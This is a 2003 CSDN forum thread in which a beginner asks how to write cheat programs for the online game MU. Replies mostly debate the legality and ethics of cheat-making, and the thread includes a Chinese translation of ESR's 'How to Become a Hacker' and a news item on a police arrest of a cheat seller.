CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
可用分押宝游戏火热进行中... 专题改版:Java Web 专题
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  专题开发/技术/项目 >  游戏开发

请教大哥哥姐姐们。MU外挂如何编写?用什么写的?

楼主nsfizz()2003-06-03 22:56:21 在 专题开发/技术/项目 / 游戏开发 提问

我是一个新手,现在对网络游戏外挂很有兴趣诚心想学习。请教高手哥哥姐姐指点一下。  
   
  谢谢。。。。。  
   
   
                                                                                  ---------------笨笨初学的笨小猪 问题点数:0、回复次数:57Top

1 楼yinjintao(thinking in money)回复于 2003-06-04 00:01:42 得分 0

我也很想去写一个,呵呵Top

2 楼nc2015(不确定因子)回复于 2003-06-04 18:12:23 得分 0

你们在违法,请自重。Top

3 楼yinjintao(thinking in money)回复于 2003-06-04 20:13:41 得分 0

我们只是想违法,哈哈Top

4 楼nsfizz()回复于 2003-07-14 00:23:45 得分 0

违法?学习也是违法?  
  晕啦。。。  
  违法这两个字怎样说?  
  学与做是不同的。  
  坏事学了不做给自已增长知识。  
  nc2015(星雨)   难道你学习时没有想过违法的事情。  
  我就不信了。  
   
  算不教自已学。  
   
   
                                                                                我有我自已,天下没有对与错,只不伤害别人和自已  
  Top

5 楼nsfizz()回复于 2003-07-14 00:32:22 得分 0

安全也是因为给破坏了才认识的。。  
  没有破坏哪有安全的环境?。  
  本来想走上网络安全这条路的。可攻击也不懂了怎样防别人?  
  呵呵我晕了。。。。。  
  违法?什么叫违法还没干也叫违法?大家和评一下理。  
  外挂是一种不好的程序,但也代表了当今人们的技术。  
  外挂也是一种破坏“生态平衡”的程序,但有的也保充了原来的缺点。  
   
   
                                                                    。。。。。。。。。。。。。。。。。。Top

6 楼chinagdh(编程爱好)回复于 2003-07-14 00:50:28 得分 0

哈哈,   上面这位兄弟太中间态了吧,为了说明问题就不能中间态。  
  要有观点,   要证实,   别忘了平衡是建立在永动的不平衡上的。  
   
  现在法定的就是违法不违你的叫做“生态平衡”的东西。  
   
  你敢自言自己为正道,你就应当理解这此深受其害的人出来反对,这才叫平衡!  
  你的叫什么平衡。  
   
  哈哈哈,在说明观点是要考滤你是平是建立在共同的认识的基础上的。如果不是那就是片面的  
  不够有力的。  
   
  从这个道理上说,   对于创造者来说,   问题是假设internet上不出现违法行为,以公为私的现象,你知道我们现在的网络速度要提高多少倍吗?   为了解决这些问题,你知道所谓正面创造的人为了实现家家互联看网上电影要多付出多少?   延长了技术发展多少年?   可惜,可惜啊,这一切的一切现在都是不那么容易实现,阻力巨大,不而不仅仅是科学对外界的压力,还要为了解决人类自身压力而付出更多。  
   
  人类的形成是不是相互争斗,或许说也是为了相互争斗吧,国外的人已经发展到了什么程度了?而这里的人们还在内战,美国人都在想当地球受到外星攻击(或星体的撞击)如何面对,而这里人还在为自己那么一个缈小的东西而大杀同胞,回想一下,   游戏制作人为了技术的提高,科学的进步公开多少程序源码,而外挂程序又有多少公开了源码呢?大概都是去谋私了吧!  
   
   
  虽然这样,我还是很敬佩那些在无源码或无任何帮助的情况下,努力地去做自己想做的东西的人们。他们的专研精神实在让人难以理解,哈哈,   我想大多不是为了技术吧。  
   
  Top

7 楼chinagdh(编程爱好)回复于 2003-07-14 01:10:37 得分 0

 
   
  哈哈,   上面这位兄弟太中间态了吧,为了说明问题就不能中间态。  
  要有观点,   要证实,   别忘了平衡是建立在永动的不平衡上的。  
   
  现在法定的就是违法不违你的叫做“生态平衡”的东西。  
   
  你敢自言自己为正道,你就应当理解这此深受其害的人出来反对,这才叫平衡!  
  你的叫什么平衡。  
   
  哈哈哈,在说明观点是要考滤你是平是建立在共同的认识的基础上的。如果不是那就是片面的  
  不够有力的。  
   
  从这个道理上说,   对于创造者来说,   问题是假设internet上不出现违法行为,以公为私的现象,你知道我们现在的网络速度要提高多少倍吗?   为了解决这些问题,你知道所谓正面创造的人为了实现家家互联看网上电影要多付出多少?   延长了技术发展多少年?   可惜,可惜啊,这一切的一切现在都是不那么容易实现,阻力巨大,不而不仅仅是科学对外界的压力,还要为了解决人类自身压力而付出更多。  
   
  人类的形成是不是相互争斗,或许说也是为了相互争斗吧,国外的人已经发展到了什么程度了?而这里的人们还在内战,美国人都在想当地球受到外星攻击(或星体的撞击)如何面对,而这里人还在为自己那么一个缈小的东西而大杀同胞,回想一下,   游戏制作人为了技术的提高,科学的进步公开多少程序源码,而外挂程序又有多少公开了源码呢?大概都是去谋私了吧!  
   
   
  虽然这样,我还是很敬佩那些在无源码或无任何帮助的情况下,努力地去做自己想做的东西的人们。他们的专研精神实在让人难以理解,哈哈,   我想大多不是为了技术吧。  
   
  还有一件事情更让人生气,   有些黑客把游戏源码盗出去还不说,还要四处买卖,更有甚者要求原开发公司给付一定“保护费”的,纯属恶霸行为,根本谈不上是什么英雄,真正的英雄们在我们的地位大概还有及做外挂的气粗。  
   
  某天我与一某外挂销售的某一组织联系,说我要加入他们的行列,你知道他们承诺多少工资给我吗?   (是程序员哦)  
   
  答案是:     上了4位数!!!  
   
  难道大家认为创造者所体现的价值不应当比破坏者高吗?  
   
  从这点可见有某些人并不代表技术,而是代表某种利益来做的。  
   
  呵呵,这我也算是比较安慰了,必竟由于某个产品,就连做外挂也可以获得这么多的价值。  
   
  不过,大家想一想吧,   如果大家都知道了,一个创造的产品如果不如他的反面有价值(说白点就是钱了,钱这东西不是万能的,但没有却是万万不能的)要大于本身,小心这些做创作的人也一样走下来加入外挂制作行列,这样,可能更多的人就没得玩了。呵呵,  
   
  本人观点:   1。外挂可做,但以后可能由游戏开发方制作,    
                        2。外挂可做,但要是共享软件,不必从中获利过多。  
                        3。希望是技术共享的,这样才可以让人称为技术贡献。(有研究技术的表示)  
  Top

8 楼nsfizz()回复于 2003-07-17 03:25:48 得分 0

呵呵上面的大哥哥你来谈论文?晕咯!我文化水平也不高啦。  
            哪么你说的证实了什么呢?人们的技术也是因为相互破坏而得到提高。但破坏也要看对象。  
  对国家有害的事情不做,伤害别人的成果的不做,为钱而来的也不好吧。internet有今天的技术也是因为有了破坏和补充破坏漏动吧?这些我不懂也因为我是菜鸟。  
   
            但一出来就有大哥说这是违法了,还没做的事情也叫违法?学习啊新手什么也想学。哪不学外挂学别的啦。学学安全类的。但总有一天也会去试试怎样攻击别人。我才不信高手中的大哥不会这样做。十大守则里也说明怎样做啦呵。  
            程序员?上4位数的?这不一定是人人去要求的。有的人为了找钱,可有的人不一定是找钱,是为了让技术去满足自已,去让自已的生活多姿多彩。  
            道高一尺,魔高一丈?怎解?呵呵我一直也不明白。  
          (大家想一想吧,   如果大家都知道了,一个创造的产品如果不如他的反面有价值(说白点就是钱了,钱这东西不是万能的,但没有却是万万不能的)要大于本身,小心这些做创作的人也一样走下来加入外挂制作行列,这样,可能更多的人就没得玩了。呵呵)哥哥说的。  
            是不是道都变魔了?  
            外挂和原创也是技术的成果,谁的价值高?我不认为哪个高点,都一样。难道人家外挂也不是原创吗?为什么创造者能让人家外挂找到空子呢?这不是外挂提醒了他们原创技术的漏动吗?  
  1。外挂可做,但以后可能由游戏开发方制作。——呵呵哪不叫外挂了叫补丁。  
  2。外挂可做,但要是共享软件,不必从中获利过多。---获利过多?谁去评呢?物价局?也只有是消费者看自已生活水平而评论出来的吧?  
  3。希望是技术共享的,这样才可以让人称为技术贡献。----技术贡献?呵呵之前呢不用钱啊?开一个网站要多少钱,钱有哪来?学知识的上网费呢?  
  这些种种怎说呢?人工作了也要得到劳动的报酬,报酬多少这是卖家下的评论。  
  学东西呢?谈上钱永远学不到好的。不谈了这些问题也永远没有结果。  
              人总是要用钱的,但是是骗不的还是努力找来的,不是人和人不同之处。  
   
   
   
                我是为了学习而来的没什么要求,有人教就叫师傅啦,没人教就自已学。喜欢的话就交上我这个笨朋友。不喜的可以叫我让开。人也不是生出来什么都懂的。说错了和说对了自已心理知道。  
               
             
                                                                                                             
                                                      天下谁没做错过?有的来答一下呵呵。。  
   
  。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。              
  Top

9 楼anjae(anjae)回复于 2003-07-17 09:36:46 得分 0

世界是平衡的,有好就有坏,有正义就有邪恶,有网络游戏就有外挂,这是正常的  
  也不是外国人不用外挂,只不过中国人多,用的也多罢了Top

10 楼dengstar(dx)回复于 2003-07-17 11:42:06 得分 0

我也想了解了解,需要具体哪方面的知识?Top

11 楼hslinux(幻世龙)回复于 2003-07-17 19:52:22 得分 0

TO   chinagdh(编程爱好)   :  
   
  答案是:     上了4位数!!!  
   
   
        呵呵,1000是4位的,9999也是4位的,  
   
        说个5位差不多,HOHOHOHOHOHO~~~~~~~~~~~~~~~~~~Top

12 楼zhoujin911(zhoujin911)回复于 2003-07-17 21:31:46 得分 0

我觉得谁写出来就把源程序的一部分贴上来,大家瞻仰瞻仰,也不能老是赚钱啊,  
        整天磨嘴皮更觉得是在浪费时间Top

13 楼fzn0621(烈无焰)回复于 2003-07-18 09:33:24 得分 0

做外挂并没有有很高的技术性,有一些软件内有着很高很高的技术性,但制作者们却都愿意公开源代码(比如linux操作系统,够明显的例子了吧?),但相对技术性不高的外挂却很少有公开原代码,这是为什么呢?  
  与人方便与己方便.  
  越保守的人就将越学不到东西.Top

14 楼smallbird1981(小鸟)回复于 2003-07-21 15:47:04 得分 0

现在我觉得现在技术论坛都变味了哦,大家是来讨论纯技术问题的嘛,不是来讨论是不是违背道德和法律的,当然,我并不反对,知识我还是觉得应该以技术讨论为主,你们觉得呢?Top

15 楼awnucel(西大耻犹未雪,南京恨何时灭&抵制日货)回复于 2003-08-05 13:55:13 得分 0

草,大哥们,这是在讨论如何做外挂,不是讨论违法不违法的问题,郁闷Top

16 楼pentiuminside(奔腾的芯)回复于 2003-08-10 20:19:31 得分 0

谁说外挂不许做啊。现在满大街都是,也没看抓了谁   。谁说违法我日他嘴Top

17 楼thllllll(aro)回复于 2003-08-10 22:06:36 得分 0

到底是如何写的还没有说呢!  
  就扯了这么一大堆!  
  wo   kaoTop

18 楼kanepeng(江天一色无纤尘`皎皎空中孤月轮`)回复于 2003-08-13 02:19:44 得分 0

无聊的人为着无聊的游戏而痴狂。。。。  
   
  当你能写出外挂的时候,你会觉得这不过是过眼烟云。。。  
   
  well,不要骂我。。。  
   
  目前喜欢的游戏:quake3,   diablo2,   warcraft3Top

19 楼hello52kitty(Daniel.Liu)回复于 2003-08-15 09:46:12 得分 0

学习外挂如同学习法律,是懂法,不是违法.  
  绝对的概念错误.  
   
   
  另外偶也对楼主的问题感兴趣.不知道有没有人赐教?Top

20 楼leonnado(leonardo)回复于 2003-08-15 15:40:49 得分 0

FT   *   10  
  结果还是没人说Top

21 楼weichaohan(金西)回复于 2003-08-16 14:38:01 得分 0

支持做外挂的  
  我正想研究做点东西  
  当然是为了钱  
  不是为了钱这么辛苦学计算机真的是SB  
  希望与同道者多多关照  
  道不同不相为谋  
  Top

22 楼pentiuminside(奔腾的芯)回复于 2003-08-18 10:55:16 得分 0

谁也不可能拿出外挂的原代码的   也不可能教的   因为这个东西十分赚钱。还有这个外挂的技术成分我觉得很高   做外挂很难   至少做一个好的外挂很难   如果随便做一个依靠读内存地址加血什么的外挂还算可以   但是要想做好   真的难   现在我见到做的最好的外挂是决战外挂   他能够自动练功   还可以脱离客户端   真的很了不起   我觉得他们很有可能和游戏的制作人员有一定的关系   要不然真的不太可能做的那么好Top

23 楼chriswing(国家练金术士)回复于 2003-08-18 16:47:40 得分 0

你们在违法,请自重。  
  =-------------  
  哪都有这种SB!   真没办法.  
  Top

24 楼weichaohan(金西)回复于 2003-08-19 12:51:40 得分 0

回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  回复人   chriswing(雪溪)------------不是SB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
   
  不知你的电脑里的软件有几个是正版的????????  
  还有你又是买了多少张盗版碟子????????  
   
  或你有能力就多破解些外挂  
  Top

25 楼coolvoldo6(踩WL/LJ/RZ/BC贴专用ID)回复于 2003-08-19 13:03:51 得分 0

嘿嘿,终于开场了,搬凳子先Top

26 楼nichotilikai(lk)回复于 2003-08-19 13:09:19 得分 0

哎,现在CSDN上的帖子,说着说着就吵起来了。Top

27 楼trinity_2001(无间道)回复于 2003-08-19 14:18:08 得分 0

跑题!严重跑题!程序员只谈技术,违法不违法先别管!违法的事情等我们掌握了技术再不去管。Top

28 楼hello52kitty(Daniel.Liu)回复于 2003-08-20 07:32:34 得分 0

 
  你们在违法,请自重。  
  =-------------  
  哪都有这种SB!   真没办法.  
   
   
  再说一次  
  学习外挂如同学习法律,是懂法,不是违法.  
  绝对的概念错误.  
   
   
  另外偶也对楼主的问题感兴趣.不知道有没有人赐教?Top

29 楼gamestory(无叶菜)回复于 2003-08-20 17:27:44 得分 0

我靠,我也想来看一下外挂是如何做的。TMD上面一大串,失望!Top

30 楼assume(劫富济贫)回复于 2003-08-21 23:22:26 得分 0

怎么看了半天都是这些,不过关键是3楼的什么(星雨)的病人搞的一锅粥。Top

31 楼chinagdh(编程爱好)回复于 2003-08-22 08:18:35 得分 0

如何成为一位   hacker  
   
          这真是一个好问题,   不止是原作者说他被问过很多次,   包括我和许多网络上的朋友们也常有这个困扰.   不过和作者不同的是,   我经常没有一个固定的答案   :p事实上我所能提供也只是自己的经验,   却没有足够的能力来肯定自己的看法是不是正确的.   这份文章应该可以减去大家不少的麻烦   :)  
   
  嗯!!   这次自告奋勇当起翻译,   虽然是起于晚上回到住的地方之后很无聊,   可以用来打发时间.   不过我翻了百行之后,   越翻越后悔.   主要是因为面有一些句子实在很难翻译,   这大概是因为我的英文底子不太好的关系吧!!   好不容易,   终于是翻完了.   为让句子更通顺或者是个人误解,   翻译后和原文有些出入,   这方面还请各位大大见谅.   :-)  
   
  Thinker  
  --------------------------------------------------------------------------  
  如何成为一位   hacker  
   
  为何有这份文件?  
   
  身为   Jargon   File   的编辑,   常有一些网络新手发   mail   问我   "如何成为一个厉害的hacker?".   但,   很奇怪的,   似乎没有任何的   FAQs   或   Web   documents   说明这么重要的问题,   所以我写了一份我自己的看法.  
   
  如果你是以   offline   的方式在看这一份文件的某一个版本,   那么你可以在  
  "http://www.ccil.org/~esr/faqs/hacker-howto.html"   找到这份文件的目前最新版本.  
   
  怎么样才算是一位   Hacker   ??  
   
  在   Jargon   File   有一堆关于   `hacker'   这个名词的定义,   大部份必须是技术上的行家或热衷于解决问题,   克服限制的人.   然而,   如果你想知道如何成为一位   hacker,有两件事是很有关连的.  
   
  这可以追溯到几十年前第一台   minicomputer   刚诞生,   ARPAnet   实验也刚展开的时代.   那时有一个由程序设计专家和网络名人所组成的,   具有分享特质的文化族群.这种文化的成员创造了   `hacker'   这个名词.   这些   Hacker   建立了   Internet,创造出我们现在使用的   UNIX   操作系统,   他们也使   Usenet   运作起来,   并且让   WorldWide   Web   动起来.   如果你是这个文化的一部分,   如果你对这些种种有所供献,   而且这个文化的其它成员也认识你,   并称你为   hacker,   那么你就是一位   hacker.  
   
  在精神上,   hacker   并不单指(限制于)这种软件   hacker   的文化.   有人也把   hacker的特质发挥在其它领域,   例如:   电子或者音乐方面.   事实上你会发现,   在任何一种科学或艺术的最高境界,   你都可以发现   hacker   的特质.   软件   hacker   们认为,那些类似的精神也都可以称为   "hacker".   有些人还主张   hacker   的通性是独立于任何媒介之上的,   不特别属于任何一种   hacker   所在的环境.   但是,   在这份文件,我们将把重点放在软件   hacker   们所需的技能、态度和发明`hacker'   这个词的分享文化的传统.  
   
  在另一个团体,   他们的成员也很大声的称自己为   hacker,   但是他们不是真的   hacker.这些人(大部分是男性青年)专门闯入电脑和入侵电话系统,   真正的   hacker   们称他们为   `cracker',   并且不愿意和他们在一些做任何事.   hacker   们认为这些人都是懒惰,   不负责,   并且不够光明正大的,   并且认为能破解安全系统并不能使你成为一位hacker.   但是很不幸的,   很多记者和作家不明究理的使用   `hacker'   这个字来描述cracker   们;   这让真的   hacker   们很忿怒.  
   
  基本上,   hacker   和   cracker   之间最主要的不同是:   hacker   们创造新东西,cracker   们破坏东西.  
   
  如果你想要成为一位   hacker,   继续读下去吧.   如果你是想要成为一位   cracker,   那么就去读   alt.2600   newsgroup   并准备在你发现自己并不如想像中那么行时,   给自己一点评价.   所有关于   cracker   的事情就只有这些了.  
   
                                       
  Top

32 楼chinagdh(编程爱好)回复于 2003-08-22 08:19:38 得分 0

Hacker   态度  
   
  Hacker   们解决了问题并创造新东西,   他们相信自由并自愿的互相帮助.   想要被别人接受成为一位   hacker,   你必须发自内心的表现出这种态度.   为了要很自发的表现出这种态度,   你就必须先完全认同这些态度.  
   
  如果你只是把学习   hacker   态度这件事当作一种能在这个文化赢得认同的途径,那么你己经乎略了真正的重点.   由衷的接受这些态度是很这要的,   这能帮助你学习并维持你的动机.   就像那些具创造性的艺术一样,   成为一位大师的最有效方法是学习大师们的精神;   并不只是学习知识和情绪而己.  
   
  所以,   如果你想要成为一位   hacker,   请反复的做下面的事情,   直到你完全领会它们:  
   
  1.   这世上充满著等著被解决的迷人问题.  
   
  作为一个   hacker   是充满快乐的,   但这是一种因为努力得到成果所带来的快乐.   努力的成果则带来动机.   成功的运动家的动机则来自于,   使他们的身体不断进化,并把自己推向物理上的极限所带来的快乐.   类似的情形,   要成为   hacker,   你必须要能从解决问题,   精进技术,   和运用知识的过程中感受到一种悸动.  
   
  如果你不是天生就能感受到这种悸动的人,   那么,   为了要成为   hacker,   你必须使自己变成这样的人.   否则,   你会发现你的   hacking   energy   就会像性,   金钱,   和社交活动一样,   因为分心而被消磨掉.  
   
  (你也必须为你的学习能力建立一种信念直到你完成你的工作   --   即使你只处理一小部份,   而你也不知道你到底还要学些什么东西才有辨法解决你的问题,   但是你会努力学习,   准备充足,   以应付下一个问题.)  
   
  2.   没有任何人必须一再的解决同一个问题.  
   
  富创造力的头脑是贵重而有限的资源.   有这么多迷人的新问题在那等著被解决.因此富创造力的头脑不该被浪费的用来重复发明轮子.  
   
  身为一位   hacker,   你必须了解到其它   hacker   们的时间也是很宝贵的   --   所以,分享资讯,   解决问题和提供解决方案给其它   hacker   以解决新的问题,   这些几乎算是道义上的责任.  
   
  (   即使   hacker   们所拥有的大多是从其它   hacker   的身上得来的,   但这并不意谓你必需把你创造的作品全部交出来,   你可以卖出足够数量的产品,   以求得温饱,   给付房租和买电脑设备,   这和   hacker   的价值观并不相违背.   使用你的   hacking   技能以供给一个家庭的生活,   甚至是致富,   只要你仍不忘记你是一位   hacker,   那么这些行为并不会产生予盾.   )  
   
  3.   无聊而单调的工作是有害的.  
   
  Hacker   们(有创造力的人也是一样)永远不该做一些无聊而单调并且愚蠢的反复性工作.   因为,   如果这样的事情发生的话,   这表示他们正在做一些不是他们该做的事--   解决新的问题.   这样的浪费对任何人而言都是一种伤害.   无聊单调的工作不只是无趣而己,   而且是一种有害的物质.  
   
  要做为一位   hacker   要能尽可能的自动避免无聊,   对此你必须有相当的认知.   这不只是为了你自己而已,   也是为了所有的人(尤其是其它的   hacker).  
   
  (这有一些例外.   有时侯   hacker   们会去做一些被认为无聊或重复性的工作,   当做脑力的训练,   或是为了要学习得某种技能或某种你所没有的特殊经验.   不过这是一种选择,   任何人都不该被强迫面对无聊事.   )  
   
  4.   自由才好.  
   
  hacker   们天性上是反对独裁的.   任何一个给你命令的人就能给你一个独裁式的工作,并且可以给你一些笨的可以的理由,   停止你解决任何吸引著你的问题.   所以任何独裁式的行为都会被挑战,   以免会危害到你和其它的   hacker   们.  
   
  (这和为反对而反对是不同的,   小孩子是需要被指导和阻止他们犯错.   hacker   也会同意接受某些权威,   照著指示做以较短的时间得到他想要的.   不过那是一种有限且理性的协定;   .....   )  
   
  专制在监察和保密这些事上是很有效的方法.   这些行使专制的人并不相信自愿性质的合作和资讯分享   --   他们只相信在他们控制之下的合作关系.   所以,   身为一位   hacker,你必具有一种敌对的天性,   以对抗监察,   秘密和使用外力强迫或迷惑可以信任的人等行为.   你必须以互信做为你行为的基础.  
   
  5.   态度并非不等效于能力  
   
  要成为一位   hacker,   你必须开始培养这些态度.   但,   如果你只是单独的模仿某一种态度,   这并不能使你成为一位真正的   hacker,   也不会使你成为一位运动冠军或摇滚明星.  
   
  因此,   你必须学会猜疑态度和尊敬各种能力.   Hacker   们不会想浪费时间在虚华的人的身上,   他们尊敬的是能力   --   特别是身为   hacker   的能力,   但对于其它方面的能力也是充满敬意.   如果有能力追求一些很少人能弄懂的技术,追求精神上的技巧,   并能集中精神,   那就再好不过了.  
   
  如果你尊敬各种的能力,   那么你就会乐于自己发展这些能力   --   这会使的努力工作和奉献成为一种剌激性的消遣而非一份苦差事.   这对于想要成为   hacker   的人而言,   是很重要的.  
   
  Top

33 楼chinagdh(编程爱好)回复于 2003-08-22 08:21:05 得分 0

一位   Hacker   所需的基本技能  
   
  hacker   的精神态度是很重要的,   但技术则更是重要.   hacker   的态度虽然是无可取代,但在梦想别的   hacker   开始也叫你   hacker   前,   有些基本的工具和技术是必备的.    
  随著新科技的发明和旧技术的取代,   这些工具随时间在慢慢的改变.   例如:   以往总是会学会用机器码写程序,   直到最近我们开始使用   HTML.   不过,   在   1996   年末,下面所举的工具是很明显的被需要的:  
   
  1.   学习程序设计.  
   
  当然,   这是基础的   hacking   技能.   在   1997   年,   理所当然的,   你必须学会   C.   但,如果你只是学一种语言,   那么你不能算是一位   hacker,   了不起只能算是一个programmer.   除此,   你还必须学会学会以独立于任何程序语言之上的概括性观念来思考一件程序设计上的问题.   要成为一位真正的   hacker,   你必须要能在几天之内将manual   内容和你目前己经知道的关连起学会一种新的语言.   也就是说,   你必会学会数个不同的语言.  
   
  还了   C   之外,   你至少还要会   LISP   或   Perl   (Java   也正在努力的挤上这个名单;译者注:   我很怀疑这份名单说   :p   ).   除了几重要的   hacking   常用语言之外,这些语言提供你一些不同的程序设计途径,   并且让你在好的方法中学习.  
   
  程序设计是一种复杂的技术,   我没辨法在这提供完整的学习步骤.   但是我能告诉你一些在书本上和课堂上所没有的东西   (有很多,   几乎全部最好的   hacker   们都是自习而来的).   (a)   读别人的程序码   和   (b)   写程序,   这两项是不错的方法.  
   
  学习写程序就像在学习写一种良好的自然语言,   最好的方法是去看一些专家们所写的东西,   然后写一些你自己的东西,   然后读更多,   再写更多   ...   然后一直持续,   一直到你发展出一种属于自己的风格和特色.  
   
  要找到好的程序码来看是很一件很困难的事,   因为,   对菜鸟   hacker   们而言,   适于供他们阅读和努力的大型程序的   source   数量很少.   但这事己有了戏剧性的变化了;现在免费的供应的软件、程序设计工具和操作系统(大都公开提供   source,   而且全都是由   hacker   们写成的)到处可看.   进入下一个主题...  
   
  2.   取得一个免费的   UNIX   ,   并学习使用和维护.  
   
  我先假设你己经有一部个人电脑或者是可以使用任何一部   (现在的小孩子真幸福,可如此轻易的拥有   :-)).   取得   hacker   技巧的第一个步骤是取得一份   Linux   或者一份免费的   BSD-Unix,   并将它安装在自己的机器,   并使之顺利的运作.  
   
  没错,   在这个世界上除了   Unix   之外,   还有其它的操作系统.   但是他们只提供   bianry,   你不能看到他们的程序码,   你也不能修改他们.   想要在   DOS   或   Windows或   MacOS   开始   hacking,   无疑就是要你绑著枷锁跳舞一样.  
   
  除此之外,   Unix   是   Internet   上的操作系统.   当你在不懂   Unix   的情况下学习使用Internet   时,   你没辨法在不懂   Unix   的情况下成为   Internet   的   hacker.   因为这个原故,   现在的hacker   文化还是很牢固的以   Unix   为中心绕著.   (这并不完全是正确的,   而且有些活在旧时代的hacker   甚至也不喜欢这种情形,   但是   Unix   和Internet   之间的共生共成己经到了牢不可破的地步,   即使是   Microsoft   的大块肌肉也没能在上面留下明显的伤痕.)  
   
  因些,   把   Unix   装起来吧!   (我自己是喜欢   Linux,   但是还有其它的东东可用.)   学习它,   让它运作起来,   让它陪你努力精进.   用他向整个   Internet   喊话.   看程序码,改程序.   有一天你成为一位高竿的   hacker,   你回头往后看时会发现,   你得到比Microsoft   操作系统所能提供的还要好的程序设计工具(包括   C,   Lisp和   Perl).而且得到快乐,   并学到比你想像中的还要多的知识.  
   
  关于学习   Unix,   在   Loginataka   有更多的资料.(http://www.ccil.org/~esr/faqs/loginataka.html)  
   
  看一下   Linux   distribution   的目录或   Linux   CD,   并把自己交付给它.  
   
  3.   学习使用   World   Wide   Web   并学会写   HTML.  
   
  在   hacker   文化创造出来的东西,   大多在他们的活动范围外被使用著,   如,   在工厂和辨公室或大学被漠漠的使用著.   但   Web   是一个很大的例外,   这个   hacker   眼中的大玩具甚至还被政客们接受,   并巧巧的在改变这个世界.   因此(还有很多好的理由),你必须学习   Web.  
   
  并不只是学习使用   browser   (这太容易了)而己,   还要学会写   HTML   这个   Web   的标签语言.   如果你不知道如何设计程序,   写   HTML   也可以给一些习惯上的帮助.嗯!!   建立   home   page   吧!  
   
  不过,   有一个   home   page   并没任何特别之处能让你成为一位   hacker.   Web   上到处都是   home   page,   而且大部份都没什么重点,   没什么内容的烂泥   --   很好看的烂泥巴,但是看起来都一样,   差不多.  
  (http://www.ccil.org/~esr/html-hell.html)  
   
  为了让你的   page   有其价值,   它必须是有内容的东西   --   它必须是有趣并且(或者)对其它   hacker   有用处的.  
   
  Top

34 楼Icykorpio(冰蝎)回复于 2003-08-22 17:53:16 得分 0

做外挂自己研究吧。。。  
   
  CSDN   开发高手   创刊号有一个专题就是外挂开发,看看会有些帮助。。。  
   
  外挂开发很累人的,别想得太好。。。Top

35 楼Icykorpio(冰蝎)回复于 2003-08-22 17:56:10 得分 0

================================  
  做外挂并没有有很高的技术性,有一些软件内有着很高很高的技术性,但制作者们却都愿意公开源代码(比如linux操作系统,够明显的例子了吧?),但相对技术性不高的外挂却很少有公开原代码,这是为什么呢?  
  与人方便与己方便.  
  越保守的人就将越学不到东西.  
  ================================  
  源码有个P用,除非你也做那个游戏,要做外挂还是多多练习底层基本功吧,功能分析才是关键~~~Top

36 楼icy110119(肖白)回复于 2003-08-23 22:33:28 得分 0

你们这是说的什么乱七八糟的   !!!愿意告诉就告诉,不愿意也没有什么啊   !扯一些没有用的废话!!!!!!!!!误人子弟!!!!什么东西啊·!!!!我日!!!!我在日!  
     这里是学习技术,讨论技术的地方!那他妈的有有什么法不法的东西啊!!什么啊!!1白痴1Top

37 楼panzan6734(panzan6734)回复于 2003-08-23 23:22:17 得分 0

就是嘛  
  Top

38 楼yinjintao(thinking in money)回复于 2003-08-23 23:42:24 得分 0

去直接破解个外挂先Top

39 楼mme(dog)回复于 2003-08-24 12:51:31 得分 0

楼上的不现实,破一个游戏比破一个外挂容易多了,因为做外挂的本身就是非常熟悉破解之道,很多地方都做了手脚.你要破解它更难.不信,你试试就知道我所言非虚.  
   
  外挂是很浪费精力的.说为了学习而去做外挂的说法可信度是不大的.  
   
  而且,听说mu的一些外挂是开发mu的公司内部制作的.  
   
  别的不说,单是在游戏里面弹出一个窗口你都得研究它10天半月,还不一定行.  
   
  更变态的是mu里面好像有些地方用了动态生成指令.跟踪都难.Top

40 楼yinjintao(thinking in money)回复于 2003-08-24 13:44:01 得分 0

恩,我试过的,外挂的反调试做的确实很严密  
  不过分析游戏的数据包也很困难啊Top

41 楼luckychange(陪你去看榴弹炮~砸在我脑壳上~~~~~)回复于 2003-08-24 13:51:37 得分 0

http://games.sina.com.cn/newgames/2003/06/06022016.shtml  
   
          网络游戏《奇迹(MU)》自2002年底上市后不久便遭遇外佳的“侵袭”,经网络监控,部分使用该游戏外挂的玩家在哈尔滨市。近日,哈尔滨市销售非法软件的经销商被市公安局经侦队抓获。据悉,这是国内首例由警方直接参与侦破的网络侵权案告破。  
   
    去年年底,第九城市计算机技术咨询有限公司从韩国引进并独家代理网络游戏《奇迹(MU)》。不久,厂商发现众多游戏玩家非法使用外挂。据了解,使用外挂有自动捡取游戏中      
  的金钱物品、自动补血、瞬间移动功能,这不仅打破了游戏世界的平衡,还使其他玩家的利益受到损害,因此厂商查封了近2万个使用外挂的玩家。同时,厂商的网络监控信息显示:这种叫“神之奇迹”的外挂程序的全国总代理商就在哈尔滨市。  
   
